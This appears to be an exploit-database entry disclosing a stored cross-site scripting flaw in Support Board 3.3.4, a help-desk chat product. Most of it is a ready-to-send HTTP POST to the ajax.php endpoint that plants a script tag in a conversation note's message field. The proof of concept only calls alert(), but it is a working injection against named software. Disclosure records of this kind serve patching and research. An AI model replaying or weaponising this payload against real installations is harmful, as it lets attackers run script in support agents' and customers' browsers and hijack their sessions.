Support Board 3.3.4 - 'Message' Stored Cross-Site Scripting (XSS)

# Exploit Title: Support Board 3.3.4 - 'Message' Stored Cross-Site Scripting (XSS)
# Date: 16/10/2021
# Exploit Author: John Jefferson Li <yiyohwi@naver.com>
# Vendor Homepage: https://board.support/
# Software Link: https://codecanyon.net/item/support-board-help-desk-and-chat/20359943
# Version: 3.3.4
# Tested on: Ubuntu 20.04.2 LTS, Windows 10

POST /supportboard/include/ajax.php HTTP/1.1
Cookie: [Agent+]
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 808
X-Requested-With: XMLHttpRequest
Connection: close

function=add-note&conversation_id=476&user_id=2&name=Robert+Smith&message=%3CScRiPt%3Ealert(/XSS/)%3C%2FsCriPt%3E&login-cookie=<cookie>&language=false